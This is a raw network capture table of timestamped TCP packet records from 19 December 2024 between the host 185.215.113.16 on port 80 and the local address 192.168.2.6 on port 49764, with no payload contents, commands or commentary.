Dec 19, 2024 08:46:30.136307955 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.137125015 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.137413025 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.137463093 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.138091087 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.138375044 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.138426065 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.139096975 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.139147997 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.139446020 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.140093088 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.140264034 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.140429974 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.141052008 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.141155958 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.141386032 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.142040014 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.142098904 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.155095100 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.155276060 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.155381918 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.155647039 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.155673981 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.155740023 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.156527996 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.157162905 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.157227993 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.157458067 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.157702923 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.157779932 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.158480883 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.158715010 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.158785105 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.161952019 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.161972046 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.162070990 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.197881937 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.198128939 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.198190928 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.200489044 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.202106953 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.202124119 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.202140093 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.202163935 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.202177048 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.202181101 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.202229023 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.202229023 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.202449083 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.254724979 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.255238056 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.255616903 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.255794048 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.255856991 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.256186962 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.256757021 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.256824017 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.256958008 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.257292032 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.257400990 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.257852077 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.257908106 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.258075953 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.258845091 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.258903980 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.259357929 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.259807110 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.259877920 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.260416031 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.260823965 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.261395931 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.261459112 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.261800051 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.261989117 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.262053967 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.262737036 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.262825012 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.263515949 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.263719082 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.263798952 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.264468908 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.264766932 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.264782906 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.264878988 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.265518904 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.265706062 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.265819073 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.266506910 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.266760111 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.266813993 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.279812098 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.280121088 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.280246019 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.280538082 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.280555964 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.280620098 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.281346083 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.281527996 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.281636000 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.282325983 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.282464027 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.282521009 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.283329010 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.283376932 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.283487082 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.284246922 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.284312963 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.284390926 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.322726011 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.323018074 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.323076010 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.323254108 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.323277950 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.323362112 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.324125051 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.324326992 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.324381113 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.325100899 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.325182915 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.325537920 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.326143980 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.327409983 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.384289026 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.385175943 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.385196924 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.385302067 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.385869980 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.385889053 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.385904074 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.385950089 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.385987043 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.386607885 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.386626959 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.386845112 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.387294054 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.387373924 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.387460947 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.387996912 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.388014078 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.388092041 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.388879061 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.388896942 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.388914108 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.388955116 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.389542103 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.389718056 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.389794111 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.390324116 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.390351057 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.390419006 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.391037941 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.391053915 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.391149998 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.391849041 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.391868114 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.391932011 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.392507076 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.392513037 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.392570019 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.392940044 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.392957926 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.393040895 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.393737078 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.397375107 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.406141043 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.406333923 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.406388998 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.406493902 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.406939983 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.406980991 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.407293081 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.407674074 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.408219099 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.408268929 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.408401012 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.409332991 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.409394979 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.409512043 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.410281897 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.410362005 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.448721886 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.448869944 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.448957920 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.449359894 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.449377060 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.449441910 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.449860096 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.450187922 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.450248957 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.450882912 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.450956106 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.451395035 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.452038050 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.452091932 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.452189922 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.504657030 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.504703045 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.504791975 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.505189896 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.505273104 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.505511999 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.506062031 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.506139994 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.506279945 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.506351948 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.506678104 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.507292986 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.507359028 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.507493019 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.508255005 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.508456945 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.508519888 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.509294033 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.509458065 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.509531975 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.510227919 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.510344982 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.510407925 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.511219978 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.511279106 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.511379957 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.512206078 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.512268066 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.512439013 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.513184071 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.513355017 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.513364077 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.514188051 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.515172958 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.515191078 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.515245914 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.515245914 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.515503883 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.516124964 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.516674042 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.516736984 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.517050028 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.521430016 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.529570103 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.529721975 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.529784918 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.530061007 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.530436993 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.530492067 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.530996084 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.531342983 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.531424999 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.531997919 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.532206059 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.532259941 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.532979965 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.575377941 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.575396061 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.575519085 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.576077938 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.576106071 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.576184988 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.576890945 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.576908112 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.576925039 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.576981068 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.576981068 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.577660084 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.577677965 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.577725887 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.578435898 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.578454971 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.578501940 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.579183102 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.579200029 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.579215050 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.579251051 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.629096985 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.629288912 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.629398108 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.629595041 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.629755020 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.629851103 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.630073071 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.630644083 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.630742073 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.630789995 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.631071091 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.631795883 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.631808043 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.631855011 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.631855011 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.632781982 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.633725882 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.633738041 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.633778095 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.634053946 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.634756088 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.634768009 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.634820938 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.634820938 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.635654926 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.635835886 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.635888100 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.636620045 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.636816978 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.636857986 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.637640953 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.637813091 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.638622046 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.638686895 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.638782978 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.639385939 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.639561892 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.639897108 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.639942884 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.640474081 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.640655041 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.640733004 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.641396046 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.654476881 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.654511929 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.654617071 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.654762983 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.654953003 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.655023098 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.655291080 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.655344009 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.655915976 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.656126976 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.656241894 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.656933069 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.657130003 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.657223940 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.657905102 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.696633101 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.696809053 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.696964025 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.697124004 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.697177887 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.697221994 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.697586060 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.697715044 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.698257923 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.698385954 CET	80	49764	185.215.113.16	192.168.2.6
